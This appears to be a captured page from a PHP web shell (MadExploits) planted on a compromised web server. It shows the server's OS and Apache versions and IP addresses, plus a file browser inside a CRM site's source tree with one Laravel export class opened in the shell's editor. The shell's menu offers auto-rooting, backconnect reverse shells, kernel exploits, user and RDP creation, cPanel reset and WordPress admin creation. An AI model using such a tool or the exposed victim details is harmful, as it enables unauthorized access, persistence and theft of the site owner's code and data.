Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.63.181
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentSaleExport.php
7.75
KB
-rw-r--r--
DailyLeadsExport.php
473
B
-rw-r--r--
DealExport.php
10.96
KB
-rw-r--r--
EstimationsExport.php
4.11
KB
-rw-r--r--
MarketingExport.php
11.3
KB
-rw-r--r--
MonthlyReportExport.php
2.38
KB
-rw-r--r--
OrderPNLExport.php
8.58
KB
-rw-r--r--
ProductionExport.php
8.54
KB
-rw-r--r--
ReordersExport.php
7.02
KB
-rw-r--r--
SalariesExport.php
8.01
KB
-rw-r--r--
ShippingExport.php
10.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : EstimationsExport.php
<?php namespace App\Exports; use App\Models\Deal; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Http\Request; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; class EstimationsExport implements FromCollection, WithHeadings, WithMapping { protected $request; public function __construct(Request $request) { $this->request = $request; } public function collection() { $request = $this->request; $query = Deal::select('*')->with([ 'client:id,name', 'client.emails:id,model_id,value', 'client.phoneNos:id,model_id,value', 'dealProducts:id,deal_id,product_id,product_style_id,product_length,product_height,product_width,product_measurement_unit_id,product_stock_id,product_color_id', 'dealProducts.product:id,name', 'dealProducts.productstyle:id,name', 'dealProducts.product_unit:id,unit', 'dealProducts.dealProductQuantityAndEstimationAmounts_sigle:id,deal_product_id,deal_product_quantity,deal_product_est_amount,deal_product_amount,receive_able_amount', 'domain:id,domain', 'owner:id,first_name,last_name', 'bdowners:id,first_name,last_name', 'estimator:id,first_name,last_name' ])->orderBy('id', 'desc'); // Apply filters if ($request->filled('domain_id')) { $query->where('domain_id', $request->domain_id); } $query->where('estimation', '=', 3); if ($request->filled('from') && $request->filled('to')) { $from = date('Y-m-d', strtotime($request->get('from'))); $to = date('Y-m-d', strtotime($request->get('to'))); $query->where(function ($q) use ($from, $to) { $q->whereBetween('bd_open_date', [$from, $to]) ->orWhereBetween('open_date', [$from, $to]); }); } else { $first = date("Y-m-d", strtotime("first day of this month")); $last = date("Y-m-d", strtotime("last day of this month")); $query->where(function ($q) use ($first, $last) { $q->whereBetween('bd_open_date', [$first, $last]) ->orWhereBetween('open_date', [$first, $last]); }); } return $query->get(); } public function headings(): array { return [ 'Order No', 'Product', 'Box Style', 'Box Length', 'Box Width', 'Box Height', 'Box Measurement Units', 'Quantity', 'Est Amount', 'Domain', 'Opening Date', 'Agent', 'Estimator' ]; } public function map($d): array { return [ $d->order_number ?? $d->bd_order_number, $d->dealProducts->pluck('product.name')->filter()->implode(', '), $d->dealProducts->pluck('productstyle.name')->filter()->implode(', '), $d->dealProducts->pluck('product_length')->filter()->implode(', '), $d->dealProducts->pluck('product_width')->filter()->implode(', '), $d->dealProducts->pluck('product_height')->filter()->implode(', '), $d->dealProducts->map(fn($p) => $p->product_unit->unit ?? '')->filter()->implode(', '), $d->dealProducts->pluck('dealProductQuantityAndEstimationAmounts_sigle.deal_product_quantity')->filter()->implode(', '), $d->dealProducts->pluck('dealProductQuantityAndEstimationAmounts_sigle.deal_product_est_amount')->filter()->implode(', '), $d->domain->domain ?? '', $d->open_date ? date('d-m-Y', strtotime($d->open_date)) : ($d->bd_open_date ? date('d-m-Y', strtotime($d->bd_open_date)) : ''), isset($d->owner->first_name) ? $d->owner->first_name . ' ' . $d->owner->last_name : ($d->bdowners->first_name . ' ' . $d->bdowners->last_name), $d->estimator->first_name . ' ' . $d->estimator->last_name, ]; } }
Close